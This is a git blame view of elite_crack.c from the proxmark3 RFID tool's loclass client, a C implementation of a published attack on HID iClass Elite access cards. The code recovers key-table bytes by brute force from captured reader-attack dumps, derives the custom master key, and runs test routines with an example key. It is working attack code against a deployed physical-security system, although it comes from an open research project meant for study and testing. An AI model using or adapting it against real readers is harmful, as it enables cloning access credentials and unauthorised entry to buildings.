]> git.zerfleddert.de Git - proxmark3-svn/blame - client/loclass/elite_crack.c
FIX: lf hitag : Mea culpa, simulation should not have reader_field on. thanks to...
[proxmark3-svn] / client / loclass / elite_crack.c
CommitLineData
d60418a0
MHS
1/*****************************************************************************
2 * WARNING
3 *
4 * THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY.
5 *
6 * USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL
7 * PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL,
8 * AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES.
9 *
10 * THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS.
11 *
12 *****************************************************************************
13 *
14 * This file is part of loclass. It is a reconstructon of the cipher engine
15 * used in iClass, and RFID techology.
16 *
17 * The implementation is based on the work performed by
18 * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
19 * Milosch Meriac in the paper "Dismantling IClass".
20 *
21 * Copyright (C) 2014 Martin Holst Swende
22 *
23 * This is free software: you can redistribute it and/or modify
24 * it under the terms of the GNU General Public License version 2 as published
25 * by the Free Software Foundation.
26 *
27 * This file is distributed in the hope that it will be useful,
28 * but WITHOUT ANY WARRANTY; without even the implied warranty of
29 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
30 * GNU General Public License for more details.
31 *
32 * You should have received a copy of the GNU General Public License
33 * along with loclass. If not, see <http://www.gnu.org/licenses/>.
34 *
35 *
36 *
37 ****************************************************************************/
38
3ad48540
MHS
39#include <stdint.h>
40#include <stdbool.h>
41#include <string.h>
42#include <stdio.h>
43#include <time.h>
44#include "cipherutils.h"
45#include "cipher.h"
46#include "ikeys.h"
47#include "elite_crack.h"
48#include "fileutils.h"
49#include "des.h"
50
51/**
52 * @brief Permutes a key from standard NIST format to Iclass specific format
53 * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
54 *
55 * If you permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below.
56 *
57 * 1 0 1 1 1 1 1 1 bf
58 * 0 0 0 0 0 0 0 1 01
59 * 0 0 1 0 1 1 0 1 2d
60 * 0 0 1 0 1 0 1 0 2a
61 * 1 1 1 1 1 0 0 1 f9
62 * 0 1 0 0 0 1 0 0 44
63 * 1 0 0 0 1 1 0 1 8d
64 * 0 1 1 0 1 1 0 0 6c
65 *
66 * 8 0 b 8 b a 9 e
67 * a d 9 8 b 7 0 a
68 *
69 * @param key
70 * @param dest
71 */
72void permutekey(uint8_t key[8], uint8_t dest[8])
73{
3ad48540
MHS
74 int i;
75 for(i = 0 ; i < 8 ; i++)
76 {
77 dest[i] = (((key[7] & (0x80 >> i)) >> (7-i)) << 7) |
78 (((key[6] & (0x80 >> i)) >> (7-i)) << 6) |
79 (((key[5] & (0x80 >> i)) >> (7-i)) << 5) |
80 (((key[4] & (0x80 >> i)) >> (7-i)) << 4) |
81 (((key[3] & (0x80 >> i)) >> (7-i)) << 3) |
82 (((key[2] & (0x80 >> i)) >> (7-i)) << 2) |
83 (((key[1] & (0x80 >> i)) >> (7-i)) << 1) |
84 (((key[0] & (0x80 >> i)) >> (7-i)) << 0);
85 }
3ad48540
MHS
86 return;
87}
88/**
89 * Permutes a key from iclass specific format to NIST format
90 * @brief permutekey_rev
91 * @param key
92 * @param dest
93 */
94void permutekey_rev(uint8_t key[8], uint8_t dest[8])
95{
96 int i;
97 for(i = 0 ; i < 8 ; i++)
98 {
99 dest[7-i] = (((key[0] & (0x80 >> i)) >> (7-i)) << 7) |
100 (((key[1] & (0x80 >> i)) >> (7-i)) << 6) |
101 (((key[2] & (0x80 >> i)) >> (7-i)) << 5) |
102 (((key[3] & (0x80 >> i)) >> (7-i)) << 4) |
103 (((key[4] & (0x80 >> i)) >> (7-i)) << 3) |
104 (((key[5] & (0x80 >> i)) >> (7-i)) << 2) |
105 (((key[6] & (0x80 >> i)) >> (7-i)) << 1) |
106 (((key[7] & (0x80 >> i)) >> (7-i)) << 0);
107 }
108}
109
110/**
111 * Helper function for hash1
112 * @brief rr
113 * @param val
114 * @return
115 */
116uint8_t rr(uint8_t val)
117{
118 return val >> 1 | (( val & 1) << 7);
119}
120/**
121 * Helper function for hash1
122 * @brief rl
123 * @param val
124 * @return
125 */
126uint8_t rl(uint8_t val)
127{
128 return val << 1 | (( val & 0x80) >> 7);
129}
130/**
131 * Helper function for hash1
132 * @brief swap
133 * @param val
134 * @return
135 */
136uint8_t swap(uint8_t val)
137{
138 return ((val >> 4) & 0xFF) | ((val &0xFF) << 4);
139}
140
141/**
142 * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
143 * when constructing the K_sel.
144 * @param csn the CSN used
145 * @param k output
146 */
147void hash1(uint8_t csn[] , uint8_t k[])
148{
149 k[0] = csn[0]^csn[1]^csn[2]^csn[3]^csn[4]^csn[5]^csn[6]^csn[7];
150 k[1] = csn[0]+csn[1]+csn[2]+csn[3]+csn[4]+csn[5]+csn[6]+csn[7];
151 k[2] = rr(swap( csn[2]+k[1] ));
0eea34a2
MHS
152 k[3] = rl(swap( csn[3]+k[0] ));
153 k[4] = ~rr( csn[4]+k[2] )+1;
154 k[5] = ~rl( csn[5]+k[3] )+1;
3ad48540
MHS
155 k[6] = rr( csn[6]+(k[4]^0x3c) );
156 k[7] = rl( csn[7]+(k[5]^0xc3) );
197c8f3f 157
158 k[7] &= 0x7F;
159 k[6] &= 0x7F;
160 k[5] &= 0x7F;
161 k[4] &= 0x7F;
162 k[3] &= 0x7F;
163 k[2] &= 0x7F;
164 k[1] &= 0x7F;
165 k[0] &= 0x7F;
3ad48540 166}
aa41c605
MHS
167/**
168Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 as
169rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
170rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
171**/
172void rk(uint8_t *key, uint8_t n, uint8_t *outp_key)
173{
aa41c605 174 memcpy(outp_key, key, 8);
aa41c605 175 uint8_t j;
197c8f3f 176 while(n-- > 0) {
aa41c605
MHS
177 for(j=0; j < 8 ; j++)
178 outp_key[j] = rl(outp_key[j]);
197c8f3f 179 }
aa41c605
MHS
180 return;
181}
182
183static des_context ctx_enc = {DES_ENCRYPT,{0}};
184static des_context ctx_dec = {DES_DECRYPT,{0}};
185
186void desdecrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output)
187{
188 uint8_t key_std_format[8] = {0};
189 permutekey_rev(iclass_key, key_std_format);
190 des_setkey_dec( &ctx_dec, key_std_format);
191 des_crypt_ecb(&ctx_dec,input,output);
192}
193void desencrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output)
194{
195 uint8_t key_std_format[8] = {0};
196 permutekey_rev(iclass_key, key_std_format);
197 des_setkey_enc( &ctx_enc, key_std_format);
198 des_crypt_ecb(&ctx_enc,input,output);
199}
200
201/**
202 * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select.
203 * @param key unpermuted custom key
204 * @param hash1 hash1
205 * @param key_sel output key_sel=h[hash1[i]]
206 */
207void hash2(uint8_t *key64, uint8_t *outp_keytable)
208{
209 /**
210 *Expected:
211 * High Security Key Table
212
21300 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
21410 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
21520 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
21630 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
21740 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
21850 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
21960 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
22070 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
221
222**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/
223 uint8_t key64_negated[8] = {0};
224 uint8_t z[8][8]={{0},{0}};
225 uint8_t temp_output[8]={0};
226 //calculate complement of key
227 int i;
197c8f3f 228 for (i=0; i<8; i++)
aa41c605 229 key64_negated[i]= ~key64[i];
197c8f3f 230
aa41c605
MHS
231 // Once again, key is on iclass-format
232 desencrypt_iclass(key64, key64_negated, z[0]);
233
234 prnlog("\nHigh security custom key (Kcus):");
235 printvar("z0 ", z[0],8);
236
237 uint8_t y[8][8]={{0},{0}};
238
239 // y[0]=DES_dec(z[0],~key)
240 // Once again, key is on iclass-format
241 desdecrypt_iclass(z[0], key64_negated, y[0]);
242 printvar("y0 ", y[0],8);
243
197c8f3f 244 for (i=1; i<8; i++) {
aa41c605
MHS
245 // z [i] = DES dec (rk(K cus , i), z [i−1] )
246 rk(key64, i, temp_output);
247 //y [i] = DES enc (rk(K cus , i), y [i−1] )
248
249 desdecrypt_iclass(temp_output,z[i-1], z[i]);
250 desencrypt_iclass(temp_output,y[i-1], y[i]);
aa41c605 251 }
197c8f3f 252
253 if (outp_keytable != NULL) {
254 for(i = 0 ; i < 8 ; i++) {
aa41c605
MHS
255 memcpy(outp_keytable+i*16,y[i],8);
256 memcpy(outp_keytable+8+i*16,z[i],8);
257 }
197c8f3f 258 } else {
aa41c605
MHS
259 printarr_human_readable("hash2", outp_keytable,128);
260 }
261}
3ad48540
MHS
262
263/**
264 * @brief Reads data from the iclass-reader-attack dump file.
265 * @param dump, data from a iclass reader attack dump. The format of the dumpdata is expected to be as follows:
266 * <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
267 * .. N times...
268 *
269 * So the first attack, with 3 bytes to recover would be : ... 03000145
270 * And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
271 * And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
272 *
273 * @param cc_nr an array to store cc_nr into (12 bytes)
274 * @param csn an arracy ot store CSN into (8 bytes)
275 * @param received_mac an array to store MAC into (4 bytes)
276 * @param i the number to read. Should be less than 127, or something is wrong...
277 * @return
278 */
279int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i)
280{
281 size_t itemsize = sizeof(dumpdata);
282 //dumpdata item = {0};
283 memcpy(item,dump+i*itemsize, itemsize);
197c8f3f 284
3ad48540
MHS
285 if(true)
286 {
287 printvar("csn", item->csn,8);
288 printvar("cc_nr", item->cc_nr,12);
289 printvar("mac", item->mac,4);
290 }
291 return 0;
292}
293
294static uint32_t startvalue = 0;
295/**
296 * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
297 *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
298 *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
299 *It updates the keytable with the findings, also using the upper half of the 16-bit ints
300 *to signal if the particular byte has been cracked or not.
301 *
302 * @param dump The dumpdata from iclass reader attack.
303 * @param keytable where to write found values.
304 * @return
305 */
306int bruteforceItem(dumpdata item, uint16_t keytable[])
307{
308 int errors = 0;
309 uint8_t key_sel_p[8] = { 0 };
310 uint8_t div_key[8] = {0};
311 int found = false;
312 uint8_t key_sel[8] = {0};
313 uint8_t calculated_MAC[4] = { 0 };
314
315 //Get the key index (hash1)
316 uint8_t key_index[8] = {0};
317 hash1(item.csn, key_index);
318
3ad48540
MHS
319 /*
320 * Determine which bytes to retrieve. A hash is typically
321 * 01010000454501
322 * We go through that hash, and in the corresponding keytable, we put markers
323 * on what state that particular index is:
324 * - CRACKED (this has already been cracked)
325 * - BEING_CRACKED (this is being bruteforced now)
326 * - CRACK_FAILED (self-explaining...)
327 *
328 * The markers are placed in the high area of the 16 bit key-table.
329 * Only the lower eight bits correspond to the (hopefully cracked) key-value.
330 **/
331 uint8_t bytes_to_recover[3] = {0};
332 uint8_t numbytes_to_recover = 0 ;
333 int i;
197c8f3f 334 for (i=0; i<8; i++) {
335 if (keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue;
336
3ad48540
MHS
337 bytes_to_recover[numbytes_to_recover++] = key_index[i];
338 keytable[key_index[i]] |= BEING_CRACKED;
339
197c8f3f 340 if (numbytes_to_recover > 3) {
3ad48540 341 prnlog("The CSN requires > 3 byte bruteforce, not supported");
197c8f3f 342 printvar("CSN", item.csn, 8);
343 printvar("HASH1", key_index, 8);
3ad48540
MHS
344
345 //Before we exit, reset the 'BEING_CRACKED' to zero
346 keytable[bytes_to_recover[0]] &= ~BEING_CRACKED;
347 keytable[bytes_to_recover[1]] &= ~BEING_CRACKED;
348 keytable[bytes_to_recover[2]] &= ~BEING_CRACKED;
3ad48540
MHS
349 return 1;
350 }
351 }
352
353 /*
354 *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
355 */
356 uint32_t brute = startvalue;
357 /*
358 Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
359 (when brute reaches 0x100). And so on...
360 bytes_to_recover = 1 --> endmask = 0x0000100
361 bytes_to_recover = 2 --> endmask = 0x0010000
362 bytes_to_recover = 3 --> endmask = 0x1000000
363 */
364
365 uint32_t endmask = 1 << 8*numbytes_to_recover;
366
367 for(i =0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++)
368 prnlog("Bruteforcing byte %d", bytes_to_recover[i]);
369
370 while(!found && !(brute & endmask))
371 {
3ad48540 372 //Update the keytable with the brute-values
197c8f3f 373 for (i=0; i < numbytes_to_recover; i++) {
3ad48540
MHS
374 keytable[bytes_to_recover[i]] &= 0xFF00;
375 keytable[bytes_to_recover[i]] |= (brute >> (i*8) & 0xFF);
376 }
377
378 // Piece together the key
197c8f3f 379 key_sel[0] = keytable[key_index[0]] & 0xFF;
380 key_sel[1] = keytable[key_index[1]] & 0xFF;
381 key_sel[2] = keytable[key_index[2]] & 0xFF;
382 key_sel[3] = keytable[key_index[3]] & 0xFF;
383 key_sel[4] = keytable[key_index[4]] & 0xFF;
384 key_sel[5] = keytable[key_index[5]] & 0xFF;
385 key_sel[6] = keytable[key_index[6]] & 0xFF;
386 key_sel[7] = keytable[key_index[7]] & 0xFF;
3ad48540
MHS
387
388 //Permute from iclass format to standard format
197c8f3f 389 permutekey_rev(key_sel, key_sel_p);
3ad48540
MHS
390 //Diversify
391 diversifyKey(item.csn, key_sel_p, div_key);
392 //Calc mac
197c8f3f 393 doMAC(item.cc_nr, div_key, calculated_MAC);
3ad48540 394
197c8f3f 395 if(memcmp(calculated_MAC, item.mac, 4) == 0) {
3ad48540
MHS
396 for(i =0 ; i < numbytes_to_recover; i++)
397 prnlog("=> %d: 0x%02x", bytes_to_recover[i],0xFF & keytable[bytes_to_recover[i]]);
398 found = true;
399 break;
400 }
197c8f3f 401
3ad48540 402 brute++;
197c8f3f 403 if ((brute & 0xFFFF) == 0) {
3ad48540
MHS
404 printf("%d",(brute >> 16) & 0xFF);
405 fflush(stdout);
406 }
407 }
197c8f3f 408 if (!found) {
3ad48540
MHS
409 prnlog("Failed to recover %d bytes using the following CSN",numbytes_to_recover);
410 printvar("CSN",item.csn,8);
411 errors++;
197c8f3f 412
3ad48540 413 //Before we exit, reset the 'BEING_CRACKED' to zero
197c8f3f 414 for (i=0; i < numbytes_to_recover; i++){
3ad48540
MHS
415 keytable[bytes_to_recover[i]] &= 0xFF;
416 keytable[bytes_to_recover[i]] |= CRACK_FAILED;
417 }
197c8f3f 418 } else {
419 for (i=0; i < numbytes_to_recover; i++){
3ad48540
MHS
420 keytable[bytes_to_recover[i]] &= 0xFF;
421 keytable[bytes_to_recover[i]] |= CRACKED;
422 }
3ad48540
MHS
423 }
424 return errors;
425}
426
427
428/**
429 * From dismantling iclass-paper:
430 * Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
431 * Then he can simply recover the master custom key K_cus by computing
432 * K_cus = ~DES(z[0] , y[0] ) .
433 *
434 * Furthermore, the adversary is able to verify that he has the correct K cus by
435 * checking whether z [0] = DES enc (K_cus , ~K_cus ).
436 * @param keytable an array (128 bytes) of hash2(kcus)
437 * @param master_key where to put the master key
438 * @return 0 for ok, 1 for failz
439 */
440int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] )
441{
442 des_context ctx_e = {DES_ENCRYPT,{0}};
443
444 uint8_t z_0[8] = {0};
445 uint8_t y_0[8] = {0};
446 uint8_t z_0_rev[8] = {0};
447 uint8_t key64[8] = {0};
448 uint8_t key64_negated[8] = {0};
449 uint8_t result[8] = {0};
450
451 // y_0 and z_0 are the first 16 bytes of the keytable
452 memcpy(y_0,first16bytes,8);
453 memcpy(z_0,first16bytes+8,8);
454
455 // Our DES-implementation uses the standard NIST
456 // format for keys, thus must translate from iclass
457 // format to NIST-format
458 permutekey_rev(z_0, z_0_rev);
459
460 // ~K_cus = DESenc(z[0], y[0])
461 des_setkey_enc( &ctx_e, z_0_rev );
462 des_crypt_ecb(&ctx_e, y_0, key64_negated);
463
464 int i;
465 for(i = 0; i < 8 ; i++)
466 {
467 key64[i] = ~key64_negated[i];
468 }
469
470 // Can we verify that the key is correct?
471 // Once again, key is on iclass-format
472 uint8_t key64_stdformat[8] = {0};
473 permutekey_rev(key64, key64_stdformat);
474
475 des_setkey_enc( &ctx_e, key64_stdformat );
476 des_crypt_ecb(&ctx_e, key64_negated, result);
477 prnlog("\nHigh security custom key (Kcus):");
478 printvar("Std format ", key64_stdformat,8);
479 printvar("Iclass format", key64,8);
480
481 if(master_key != NULL)
482 memcpy(master_key, key64, 8);
483
484 if(memcmp(z_0,result,4) != 0)
485 {
486 prnlog("Failed to verify calculated master key (k_cus)! Something is wrong.");
487 return 1;
488 }else{
489 prnlog("Key verified ok!\n");
490 }
491 return 0;
492}
493/**
494 * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
495 * @param dump
496 * @param dumpsize
497 * @param keytable
498 * @return
499 */
500int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[])
501{
502 uint8_t i;
503 int errors = 0;
504 size_t itemsize = sizeof(dumpdata);
505 clock_t t1 = clock();
506
507 dumpdata* attack = (dumpdata* ) malloc(itemsize);
508
509 for(i = 0 ; i * itemsize < dumpsize ; i++ )
510 {
511 memcpy(attack,dump+i*itemsize, itemsize);
512 errors += bruteforceItem(*attack, keytable);
513 }
514 free(attack);
b112787d 515 t1 = clock() - t1;
516 float diff = ((float)t1 / CLOCKS_PER_SEC );
3ad48540
MHS
517 prnlog("\nPerformed full crack in %f seconds",diff);
518
519 // Pick out the first 16 bytes of the keytable.
520 // The keytable is now in 16-bit ints, where the upper 8 bits
521 // indicate crack-status. Those must be discarded for the
522 // master key calculation
523 uint8_t first16bytes[16] = {0};
524
525 for(i = 0 ; i < 16 ; i++)
526 {
527 first16bytes[i] = keytable[i] & 0xFF;
528 if(!(keytable[i] & CRACKED))
529 {
530 prnlog("Error, we are missing byte %d, custom key calculation will fail...", i);
531 }
532 }
533 errors += calculateMasterKey(first16bytes, NULL);
534 return errors;
535}
536/**
537 * Perform a bruteforce against a file which has been saved by pm3
538 *
539 * @brief bruteforceFile
540 * @param filename
541 * @return
542 */
543int bruteforceFile(const char *filename, uint16_t keytable[])
544{
3ad48540 545 FILE *f = fopen(filename, "rb");
197c8f3f 546 if (!f) {
3ad48540
MHS
547 prnlog("Failed to read from file '%s'", filename);
548 return 1;
549 }
550
551 fseek(f, 0, SEEK_END);
552 long fsize = ftell(f);
553 fseek(f, 0, SEEK_SET);
554
6b1111d7 555 if (fsize < 0) {
556 prnlog("Error, when getting filesize");
197c8f3f 557 if (f) fclose(f);
6b1111d7 558 return 1;
559 }
560
3ad48540 561 uint8_t *dump = malloc(fsize);
6f101995 562 size_t bytes_read = fread(dump, 1, fsize, f);
3ad48540 563
197c8f3f 564 if (f) fclose(f);
565
2dcf60f3 566 if (bytes_read < fsize) {
3ad48540
MHS
567 prnlog("Error, could only read %d bytes (should be %d)",bytes_read, fsize );
568 }
6b1111d7 569 uint8_t res = bruteforceDump(dump,fsize,keytable);
570 free(dump);
571 return res;
3ad48540
MHS
572}
573/**
574 *
575 * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
576 * @param filename
577 * @return
578 */
579int bruteforceFileNoKeys(const char *filename)
580{
581 uint16_t keytable[128] = {0};
582 return bruteforceFile(filename, keytable);
583}
584
585// ---------------------------------------------------------------------------------
586// ALL CODE BELOW THIS LINE IS PURELY TESTING
587// ---------------------------------------------------------------------------------
588// ----------------------------------------------------------------------------
589// TEST CODE BELOW
590// ----------------------------------------------------------------------------
591
592int _testBruteforce()
593{
594 int errors = 0;
595 if(true){
596 // First test
597 prnlog("[+] Testing crack from dumpfile...");
598
599 /**
600 Expected values for the dumpfile:
601 High Security Key Table
602
603 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
604 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
605 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
606 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
607 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
608 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
609 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
610 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
611
612 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
613 **/
614 uint16_t keytable[128] = {0};
6f101995
MHS
615
616 //Test a few variants
197c8f3f 617 if (fileExists("iclass_dump.bin")){
6f101995 618 errors |= bruteforceFile("iclass_dump.bin",keytable);
197c8f3f 619 } else if (fileExists("loclass/iclass_dump.bin")){
6f101995 620 errors |= bruteforceFile("loclass/iclass_dump.bin",keytable);
197c8f3f 621 } else if (fileExists("client/loclass/iclass_dump.bin")){
6f101995 622 errors |= bruteforceFile("client/loclass/iclass_dump.bin",keytable);
197c8f3f 623 } else {
6f101995
MHS
624 prnlog("Error: The file iclass_dump.bin was not found!");
625 }
3ad48540
MHS
626 }
627 return errors;
628}
629
630int _test_iclass_key_permutation()
631{
632 uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
633 uint8_t testcase_output[8] = {0};
634 uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea};
635 uint8_t testcase_output_rev[8] = {0};
636 permutekey(testcase, testcase_output);
637 permutekey_rev(testcase_output, testcase_output_rev);
638
3ad48540
MHS
639 if(memcmp(testcase_output, testcase_output_correct,8) != 0)
640 {
641 prnlog("Error with iclass key permute!");
642 printarr("testcase_output", testcase_output, 8);
643 printarr("testcase_output_correct", testcase_output_correct, 8);
644 return 1;
645
646 }
647 if(memcmp(testcase, testcase_output_rev, 8) != 0)
648 {
649 prnlog("Error with reverse iclass key permute");
650 printarr("testcase", testcase, 8);
651 printarr("testcase_output_rev", testcase_output_rev, 8);
652 return 1;
653 }
654
655 prnlog("[+] Iclass key permutation OK!");
656 return 0;
657}
d60418a0
MHS
658int _testHash1()
659{
660 uint8_t csn[8]= {0x01,0x02,0x03,0x04,0xF7,0xFF,0x12,0xE0};
661 uint8_t k[8] = {0};
662 hash1(csn, k);
663 uint8_t expected[8] = {0x7E,0x72,0x2F,0x40,0x2D,0x02,0x51,0x42};
664 if(memcmp(k,expected,8) != 0)
665 {
666 prnlog("Error with hash1!");
667 printarr("calculated", k, 8);
668 printarr("expected", expected, 8);
669 return 1;
670 }
671 return 0;
672}
3ad48540
MHS
673
674int testElite()
675{
676 prnlog("[+] Testing iClass Elite functinality...");
aa41c605
MHS
677 prnlog("[+] Testing hash2");
678 uint8_t k_cus[8] = {0x5B,0x7C,0x62,0xC4,0x91,0xC1,0x1B,0x39};
679
680 /**
681 *Expected:
682 * High Security Key Table
683
68400 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
68510 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
68620 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
68730 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
68840 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
68950 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
69060 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
69170 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
692
693
694
695**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
696 */
697 uint8_t keytable[128] = {0};
698 hash2(k_cus, keytable);
699 printarr_human_readable("Hash2", keytable, 128);
700 if(keytable[3] == 0xA1 && keytable[0x30] == 0xA3 && keytable[0x6F] == 0x95)
701 {
702 prnlog("[+] Hash2 looks fine...");
703 }
704
3ad48540 705 int errors = 0 ;
d60418a0
MHS
706 prnlog("[+] Testing hash1...");
707 errors += _testHash1();
708 prnlog("[+] Testing key diversification ...");
709 errors +=_test_iclass_key_permutation();
3ad48540 710 errors += _testBruteforce();
d60418a0 711
3ad48540
MHS
712 return errors;
713
714}
715
Impressum, Datenschutz